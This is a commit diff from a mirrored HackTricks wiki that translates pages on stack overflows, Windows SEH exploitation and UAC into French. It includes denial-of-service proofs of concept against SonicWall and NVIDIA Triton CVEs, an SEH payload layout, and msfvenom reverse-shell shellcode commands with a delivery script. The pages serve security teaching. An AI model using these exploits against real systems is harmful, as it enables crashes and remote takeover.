maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/binary-exploitation/stack-overflow/README.md', 'src/win

Browse Source
This commit is contained in:
Translator 2025-08-28 20:21:22 +00:00
parent 54994e66c9
commit 90c785f9d2
4 changed files with 326 additions and 121 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -779,6 +779,7 @@
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)

102
src/binary-exploitation/stack-overflow/README.md
View File

@ -4,13 +4,13 @@
## Qu'est-ce qu'un Stack Overflow
Un **stack overflow** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données sur la pile qu'il n'est alloué pour en contenir. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, une perturbation du flux de contrôle, et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.
Un **stack overflow** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données sur la stack que l'espace qui lui a été alloué. Cet excès de données va **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, la perturbation du flux de contrôle et potentiellement l'exécution de code malveillant. Ce problème survient souvent à cause de l'utilisation de fonctions non sûres qui ne vérifient pas les limites des entrées.
Le principal problème de cette écriture est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour revenir à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra écraser ceux-ci et **contrôler le flux d'exécution du programme**.
Le principal problème de cet écrasement est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** utilisés pour revenir à la fonction précédente sont **stockés sur la stack**. Par conséquent, un attaquant pourra écraser ces valeurs et **contrôler le flux d'exécution du programme**.
La vulnérabilité survient généralement parce qu'une fonction **copie dans la pile plus d'octets que la quantité qui lui est allouée**, permettant ainsi d'écraser d'autres parties de la pile.
La vulnérabilité apparaît généralement parce qu'une fonction **copie sur la stack plus d'octets que la quantité qui lui a été allouée**, pouvant ainsi écraser d'autres parties de la stack.
Certaines fonctions courantes vulnérables à cela sont : **`strcpy`, `strcat`, `sprintf`, `gets`**... De plus, des fonctions comme **`fgets`**, **`read` & `memcpy`** qui prennent un **argument de longueur**, peuvent être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée.
Certaines fonctions couramment vulnérables sont : **`strcpy`, `strcat`, `sprintf`, `gets`**... De plus, des fonctions comme **`fgets`**, **`read`** et **`memcpy`** qui prennent un **argument de longueur** peuvent être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée.
Par exemple, les fonctions suivantes pourraient être vulnérables :
```c
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Trouver les offsets des débordements de pile
### Trouver les offsets de Stack Overflows
La manière la plus courante de trouver des débordements de pile est de donner une très grande entrée de `A`s (par exemple, `python3 -c 'print("A"*1000)'`) et de s'attendre à un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
La méthode la plus courante pour détecter des Stack Overflows consiste à fournir une très grande entrée de `A`s (par ex. `python3 -c 'print("A"*1000)'`) et à observer un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été sollicitée**.
De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver l'offset jusqu'à ce qu'il soit possible de **surcharger l'adresse de retour**, pour cela, on utilise généralement une **séquence de De Bruijn.** Qui pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_ est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur _n_ apparaît exactement une fois** en tant que sous-séquence contiguë.
De plus, une fois que vous avez découvert qu'il y a une vulnérabilité de Stack Overflow, vous devrez trouver l'offset nécessaire pour pouvoir **overwrite the return address** ; pour cela on utilise généralement une **De Bruijn sequence.** Celle-ci, pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_, est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur _n_ apparaît exactement une fois** en tant que sous-séquence contiguë.
De cette manière, au lieu de devoir déterminer manuellement quel offset est nécessaire pour contrôler l'EIP, il est possible d'utiliser comme remplissage l'une de ces séquences et ensuite de trouver l'offset des octets qui ont fini par la surcharger.
De cette façon, au lieu de devoir déterminer manuellement quel offset permet de contrôler l'EIP, on peut utiliser comme padding l'une de ces séquences puis trouver l'offset des octets qui ont fini par l'écraser.
Il est possible d'utiliser **pwntools** pour cela :
Il est possible d'utiliser **pwntools** pour cela:
```python
from pwn import *
@ -41,47 +41,60 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
ou **GEF** :
ou **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Exploiter les débordements de pile
## Exploiter les Stack Overflows
Lors d'un débordement (en supposant que la taille du débordement soit suffisamment grande), vous pourrez **écraser** les valeurs des variables locales à l'intérieur de la pile jusqu'à atteindre le **EBP/RBP et EIP/RIP sauvegardés (ou même plus)**.\
La manière la plus courante d'abuser de ce type de vulnérabilité est de **modifier l'adresse de retour** afin que lorsque la fonction se termine, le **flux de contrôle soit redirigé vers l'endroit spécifié par l'utilisateur** dans ce pointeur.
Lors d'un overflow (si la taille est suffisante) vous pourrez **écraser** les valeurs des variables locales sur la stack jusqu'à atteindre les **EBP/RBP et EIP/RIP sauvegardés (ou même davantage)**.\
La manière la plus courante d'abuser de ce type de vulnérabilité est de **modifier l'adresse de retour** afin que, lorsque la fonction se termine, **le flux de contrôle soit redirigé vers l'endroit spécifié par ce pointeur**.
Cependant, dans d'autres scénarios, il se peut que **l'écrasement de certaines valeurs de variables dans la pile** soit suffisant pour l'exploitation (comme dans des défis CTF faciles).
Cependant, dans d'autres scénarios, simplement **écraser certaines valeurs de variables sur la stack** peut suffire pour l'exploitation (comme dans des challenges CTF faciles).
### Ret2win
Dans ce type de défis CTF, il y a une **fonction** **à l'intérieur** du binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver l'**offset pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) serait désactivé) afin que lorsque la fonction vulnérable retourne, la fonction cachée soit appelée :
Dans ce type de challenges CTF, il existe une **fonction** **à l'intérieur** du binaire qui n'est **jamais appelée** et que **vous devez appeler pour gagner**. Pour ces challenges, il suffit de trouver l'**offset pour écraser l'adresse de retour** et **l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sera désactivé) de sorte que, lorsque la fonction vulnérable retourne, la fonction cachée sera appelée :
{{#ref}}
ret2win/
{{#endref}}
### Shellcode de pile
### Stack Shellcode
Dans ce scénario, l'attaquant peut placer un shellcode dans la stack et utiliser l'EIP/RIP contrôlé pour sauter vers le shellcode et exécuter du code arbitraire :
Dans ce scénario, l'attaquant pourrait placer un shellcode dans la pile et abuser de l'EIP/RIP contrôlé pour sauter au shellcode et exécuter du code arbitraire :
{{#ref}}
stack-shellcode/
{{#endref}}
### Techniques ROP & Ret2...
### Windows SEH-based exploitation (nSEH/SEH)
Sur Windows 32-bit, un overflow peut écraser la chaîne Structured Exception Handler (SEH) au lieu de l'adresse de retour sauvegardée. L'exploitation remplace typiquement le pointeur SEH par un gadget POP POP RET et utilise le champ nSEH de 4 octets pour un saut court afin de revenir dans le grand buffer où réside le shellcode. Un schéma courant est un petit jmp dans nSEH qui atterrit sur un near jmp de 5 octets placé juste avant nSEH pour sauter de centaines d'octets en arrière vers le début du payload.
{{#ref}}
windows-seh-overflow.md
{{#endref}}
### ROP & Ret2... techniques
Cette technique est le cadre fondamental pour bypasser la principale protection de la technique précédente : **No executable stack (NX)**. Elle permet aussi d'exécuter plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant d'instructions existantes dans le binaire :
Cette technique est le cadre fondamental pour contourner la principale protection de la technique précédente : **Pile non exécutable (NX)**. Et elle permet d'effectuer plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant des instructions existantes dans le binaire :
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## Débordements de tas
## Heap Overflows
Un overflow ne se situe pas toujours dans la stack ; il peut aussi se trouver dans le **heap**, par exemple :
Un débordement ne se produira pas toujours dans la pile, il pourrait également se produire dans le **tas**, par exemple :
{{#ref}}
../libc-heap/heap-overflow.md
@ -89,41 +102,43 @@ Un débordement ne se produira pas toujours dans la pile, il pourrait également
## Types de protections
Il existe plusieurs protections essayant de prévenir l'exploitation des vulnérabilités, consultez-les dans :
Il existe plusieurs protections visant à empêcher l'exploitation des vulnérabilités, consultez-les dans :
{{#ref}}
../common-binary-protections-and-bypasses/
{{#endref}}
### Exemple du monde réel : CVE-2025-40596 (SonicWall SMA100)
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Une bonne démonstration de pourquoi **`sscanf` ne devrait jamais être considéré comme fiable pour analyser des entrées non fiables** est apparue en 2025 dans l'appareil SSL-VPN SMA100 de SonicWall. La routine vulnérable à l'intérieur de `/usr/src/EasyAccess/bin/httpd` tente d'extraire la version et le point de terminaison de toute URI qui commence par `/__api__/` :
Une bonne démonstration de pourquoi **`sscanf` ne doit jamais être utilisé pour analyser des entrées non fiables** est apparue en 2025 dans l'appliance SSL-VPN SMA100 de SonicWall.
La routine vulnérable dans `/usr/src/EasyAccess/bin/httpd` tente d'extraire la version et l'endpoint de toute URI commençant par `/__api__/` :
```c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. La première conversion (`%2s`) stocke en toute sécurité **deux** octets dans `version` (par exemple, `"v1"`).
2. La deuxième conversion (`%s`) **n'a pas de spécificateur de longueur**, donc `sscanf` continuera à copier **jusqu'au premier octet NUL**.
3. Parce que `endpoint` est situé sur la **pile** et mesure **0x800 octets**, fournir un chemin plus long que 0x800 octets corrompt tout ce qui se trouve après le tampon ‑ y compris le **stack canary** et l'**adresse de retour sauvegardée**.
1. La première conversion (`%2s`) stocke en toute sécurité **deux** bytes dans `version` (par ex. `"v1"`).
2. La seconde conversion (`%s`) **n'a pas de spécificateur de longueur**, donc `sscanf` continuera de copier **jusqu'au premier NUL byte**.
3. Parce que `endpoint` est situé sur la **stack** et fait **0x800 bytes**, fournir un path plus long que 0x800 bytes corrompt tout ce qui se trouve après le buffer ‑ y compris le **stack canary** et le **saved return address**.
Une preuve de concept en une seule ligne suffit pour déclencher le crash **avant l'authentification** :
Une preuve de concept en une seule ligne suffit à déclencher le crash **avant l'authentification** :
```python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
Bien que les stack canaries abortent le processus, un attaquant obtient toujours un **Denial-of-Service** primitive (et, avec des fuites d'informations supplémentaires, éventuellement une exécution de code). La leçon est simple :
Même si les stack canaries provoquent l'arrêt du processus, un attaquant obtient toujours un primitive de **Denial-of-Service** (et, avec des leak d'information supplémentaires, éventuellement code-execution). La leçon est simple :
* Toujours fournir une **largeur de champ maximale** (par exemple, `%511s`).
* Préférer des alternatives plus sûres telles que `snprintf`/`strncpy_s`.
* Fournissez toujours une **largeur de champ maximale** (par ex. `%511s`).
* Préférez des alternatives plus sûres telles que `snprintf`/`strncpy_s`.
### Exemple du monde réel : CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
### Exemple réel : CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
Le serveur d'inférence Triton de NVIDIA (≤ v25.06) contenait plusieurs **débordements de pile** accessibles via son API HTTP.
Le modèle vulnérable apparaissait de manière répétée dans `http_server.cc` et `sagemaker_server.cc` :
NVIDIA’s Triton Inference Server (≤ v25.06) contenait plusieurs **stack-based overflows** accessibles via son API HTTP.
Le motif vulnérable apparaissait à plusieurs reprises dans `http_server.cc` et `sagemaker_server.cc` :
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
@ -133,11 +148,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) renvoie le **nombre de segments de tampon internes** qui composent le corps de la requête HTTP actuelle.
2. Chaque segment provoque l'allocation d'un **`evbuffer_iovec` de 16 octets** sur la **pile** via `alloca()` – **sans aucune limite supérieure**.
3. En abusant de **HTTP _chunked transfer-encoding_**, un client peut forcer la requête à être divisée en **des centaines de milliers de morceaux de 6 octets** (`"1\r\nA\r\n"`). Cela fait que `n` croît de manière illimitée jusqu'à ce que la pile soit épuisée.
1. `evbuffer_peek` (libevent) renvoie le **nombre de segments de buffer internes** qui composent le corps de la requête HTTP actuelle.
2. Chaque segment provoque l'allocation d'un `evbuffer_iovec` de **16-byte** sur la **stack** via `alloca()` – **sans aucune limite supérieure**.
3. En abusant de **HTTP _chunked transfer-encoding_**, un client peut forcer la requête à être découpée en **des centaines de milliers de 6-byte chunks** (`"1\r\nA\r\n"`). Cela fait croître `n` sans limite jusqu'à épuisement de la stack.
#### Proof-of-Concept (DoS)
#### Preuve de concept (DoS)
```python
#!/usr/bin/env python3
import socket, sys
@ -161,10 +176,10 @@ s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
Une requête d'environ 3 Mo suffit à écraser l'adresse de retour sauvegardée et **faire planter** le démon sur une version par défaut.
Une requête d'environ ~3 Mo suffit à écraser l'adresse de retour sauvegardée et à **crash** le daemon sur une build par défaut.
#### Patch & Mitigation
La version 25.07 remplace l'allocation de pile non sécurisée par un **`std::vector` soutenu par le tas** et gère gracieusement `std::bad_alloc`:
#### Correctif et atténuation
La version 25.07 remplace l'allocation non sécurisée sur la pile par une **heap-backed `std::vector`** et gère proprement `std::bad_alloc` :
```c++
std::vector<evbuffer_iovec> v_vec;
try {
@ -176,11 +191,12 @@ struct evbuffer_iovec *v = v_vec.data();
```
Leçons apprises :
* Ne jamais appeler `alloca()` avec des tailles contrôlées par l'attaquant.
* Les requêtes en morceaux peuvent changer radicalement la forme des tampons côté serveur.
* Validez / limitez toute valeur dérivée de l'entrée du client *avant* de l'utiliser dans des allocations mémoire.
* Les requêtes chunked peuvent modifier radicalement la structure des buffers côté serveur.
* Valider / plafonner toute valeur dérivée de l'entrée client *avant* de l'utiliser dans des allocations mémoire.
## Références
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
{{#include ../../banners/hacktricks-training.md}}

149
src/binary-exploitation/stack-overflow/windows-seh-overflow.md Normal file
View File

@ -0,0 +1,149 @@
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
{{#include ../../banners/hacktricks-training.md}}
L'exploitation basée sur SEH est une technique classique sur x86 Windows qui abuse de la chaîne Structured Exception Handler stockée sur la stack. Lorsqu'un buffer overflow sur la stack écrase les deux champs de 4 octets
- nSEH: pointer to the next SEH record, and
- SEH: pointer to the exception handler function
un attaquant peut prendre le contrôle de l'exécution en :
1) Plaçant SEH à l'adresse d'un POP POP RET gadget dans un module non protégé, de sorte que lorsqu'une exception est déclenchée le gadget renvoie vers des octets contrôlés par l'attaquant, et
2) Utilisant nSEH pour rediriger l'exécution (typiquement un short jump) vers le grand buffer débordant où se trouve le shellcode.
Cette technique est spécifique aux processus 32-bit (x86). Sur les systèmes modernes, préférez un module sans SafeSEH et ASLR pour le gadget. Les caractères problématiques incluent souvent 0x00, 0x0a, 0x0d (NUL/CR/LF) en raison des C-strings et du HTTP parsing.
---
## Finding exact offsets (nSEH / SEH)
- Faites crasher le processus et vérifiez que la chaîne SEH est écrasée (par ex., dans x32dbg/x64dbg, vérifiez la vue SEH).
- Envoyez un pattern cyclique comme données de débordement et calculez les offsets des deux dwords qui atterrissent dans nSEH et SEH.
Example with peda/GEF/pwntools on a 1000-byte POST body:
```bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
```
Validez en plaçant des marqueurs à ces positions (par ex., nSEH=b"BB", SEH=b"CC"). Conservez la longueur totale constante pour rendre le crash reproductible.
---
## Choisir un POP POP RET (SEH gadget)
Vous avez besoin d'une séquence POP POP RET pour dérouler le cadre SEH et revenir dans vos octets nSEH. Trouvez-la dans un module sans SafeSEH et idéalement sans ASLR :
- Mona (Immunity/WinDbg) : `!mona modules` puis `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg : `ERC --SEH` pour lister les gadgets POP POP RET et le statut SafeSEH.
Choisissez une adresse qui ne contient pas de badchars lorsque écrite en little-endian (par ex., `p32(0x004094D8)`). Préférez des gadgets à l'intérieur du binaire vulnérable si les protections le permettent.
---
## Technique de jump-back (short + near jmp)
nSEH ne fait que 4 octets, ce qui permet au plus un short jump de 2 octets (`EB xx`) plus du padding. Si vous devez sauter en arrière de centaines d'octets pour atteindre le début de votre buffer, utilisez un near jump de 5 octets placé juste avant nSEH et enchaînez dessus avec un short jump depuis nSEH.
Avec nasmshell:
```text
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
```
Disposition proposée pour un payload de 1000 bytes avec nSEH à offset 660:
```python
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
```
Flux d'exécution :
- Une exception se produit, le dispatcher utilise le SEH écrasé.
- POP POP RET déroule la pile jusqu'à notre nSEH.
- nSEH exécute `jmp short -8` pour atteindre le 5-byte near jump.
- Le near jump atterrit au début de notre buffer où résident le NOP sled + shellcode.
---
## Caractères interdits
Générez une chaîne complète de badchar et comparez la mémoire de la stack après le crash, en supprimant les octets qui sont altérés par le parser cible. Pour les overflows basés sur HTTP, `\x00\x0a\x0d` sont presque toujours exclus.
```python
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
```
---
## Shellcode generation (x86)
Utilisez msfvenom avec vos badchars. Un petit NOP sled aide à tolérer les variations d'atterrissage.
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
```
Si vous le générez à la volée, le format hex est pratique à intégrer et à déhexer en Python:
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
```
---
## Livraison via HTTP (CRLF précis + Content-Length)
Lorsque le vecteur vulnérable est le corps d'une requête HTTP, confectionnez une requête brute avec des CRLF précis et un Content-Length exact afin que le serveur lise l'intégralité du corps débordant.
```python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
```
---
## Outils
- x32dbg/x64dbg pour observer la chaîne SEH et analyser le crash.
- ERC.Xdbg (x64dbg plugin) pour énumérer les gadgets SEH : `ERC --SEH`.
- Mona en alternative : `!mona modules`, `!mona seh`.
- nasmshell pour assembler des short/near jumps et copier les opcodes bruts.
- pwntools pour construire des payloads réseau précis.
---
## Remarques et mises en garde
- S'applique uniquement aux processus x86. x64 utilise un schéma SEH différent et l'exploitation basée sur SEH n'est généralement pas viable.
- Privilégiez les gadgets dans des modules sans SafeSEH ni ASLR ; sinon, trouvez un module non protégé chargé dans le processus.
- Les watchdogs de service qui redémarrent automatiquement après un crash peuvent faciliter le développement itératif d'exploits.
## Références
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
{{#include ../../banners/hacktricks-training.md}}

195
src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
View File

@ -1,58 +1,59 @@
# UAC - Contrôle de Compte Utilisateur
# UAC - User Account Control
{{#include ../../banners/hacktricks-training.md}}
## UAC
[Le Contrôle de Compte Utilisateur (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet une **demande de consentement pour des activités élevées**. Les applications ont différents niveaux d'`intégrité`, et un programme avec un **niveau élevé** peut effectuer des tâches qui **pourraient potentiellement compromettre le système**. Lorsque l'UAC est activé, les applications et les tâches s'exécutent toujours **sous le contexte de sécurité d'un compte non administrateur** à moins qu'un administrateur n'autorise explicitement ces applications/tâches à avoir un accès de niveau administrateur au système pour s'exécuter. C'est une fonctionnalité de commodité qui protège les administrateurs des modifications non intentionnelles mais n'est pas considérée comme une frontière de sécurité.
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui affiche une **invite de consentement pour les opérations nécessitant des privilèges élevés**. Les applications ont différents `integrity` levels, et un programme avec un **niveau élevé** peut effectuer des tâches qui **pourraient potentiellement compromettre le système**. Lorsque UAC est activé, les applications et les tâches s'exécutent toujours **dans le contexte de sécurité d'un compte non administrateur** à moins qu'un administrateur n'autorise explicitement ces applications/tâches à disposer d'un accès de niveau administrateur au système pour s'exécuter. C'est une fonctionnalité de confort qui protège les administrateurs contre des changements involontaires mais qui n'est pas considérée comme une frontière de sécurité.
Pour plus d'infos sur les niveaux d'intégrité :
Pour plus d'informations sur les niveaux d'intégrité :
{{#ref}}
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
Lorsque l'UAC est en place, un utilisateur administrateur reçoit 2 jetons : une clé d'utilisateur standard, pour effectuer des actions régulières au niveau régulier, et une avec les privilèges d'administrateur.
Lorsque UAC est en place, un utilisateur administrateur reçoit 2 jetons : un jeton d'utilisateur standard, pour effectuer les actions régulières au niveau standard, et un jeton avec les privilèges administrateur.
Cette [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute en profondeur du fonctionnement de l'UAC et inclut le processus de connexion, l'expérience utilisateur et l'architecture de l'UAC. Les administrateurs peuvent utiliser des politiques de sécurité pour configurer le fonctionnement de l'UAC spécifique à leur organisation au niveau local (en utilisant secpol.msc), ou configuré et déployé via des Objets de Politique de Groupe (GPO) dans un environnement de domaine Active Directory. Les différents paramètres sont discutés en détail [ici](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Il existe 10 paramètres de Politique de Groupe qui peuvent être définis pour l'UAC. Le tableau suivant fournit des détails supplémentaires :
This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) explique en profondeur le fonctionnement de UAC et couvre le processus de connexion, l'expérience utilisateur et l'architecture de UAC. Les administrateurs peuvent utiliser des politiques de sécurité pour configurer le comportement de UAC spécifique à leur organisation au niveau local (via secpol.msc), ou les configurer et les déployer via des Group Policy Objects (GPO) dans un environnement de domaine Active Directory. Les différents paramètres sont décrits en détail [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Il y a 10 paramètres de Group Policy qui peuvent être définis pour UAC. Le tableau suivant fournit des détails supplémentaires :
| Paramètre de Politique de Groupe | Clé de Registre | Paramètre par Défaut |
| Group Policy Setting | Registry Key | Default Setting |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [Contrôle de Compte Utilisateur : Mode d'Approbation Admin pour le compte Administrateur intégré](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Désactivé |
| [Contrôle de Compte Utilisateur : Autoriser les applications UIAccess à demander une élévation sans utiliser le bureau sécurisé](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Désactivé |
| [Contrôle de Compte Utilisateur : Comportement de l'invite d'élévation pour les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Demander le consentement pour les binaires non-Windows |
| [Contrôle de Compte Utilisateur : Comportement de l'invite d'élévation pour les utilisateurs standard](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Demander des informations d'identification sur le bureau sécurisé |
| [Contrôle de Compte Utilisateur : Détecter les installations d'applications et demander une élévation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Activé (par défaut pour les foyers) Désactivé (par défaut pour les entreprises) |
| [Contrôle de Compte Utilisateur : Élever uniquement les exécutables qui sont signés et validés](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Désactivé |
| [Contrôle de Compte Utilisateur : Élever uniquement les applications UIAccess qui sont installées dans des emplacements sécurisés](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Activé |
| [Contrôle de Compte Utilisateur : Exécuter tous les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Activé |
| [Contrôle de Compte Utilisateur : Passer au bureau sécurisé lors de la demande d'élévation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Activé |
| [Contrôle de Compte Utilisateur : Virtualiser les échecs d'écriture de fichiers et de registre vers des emplacements par utilisateur](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Activé |
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
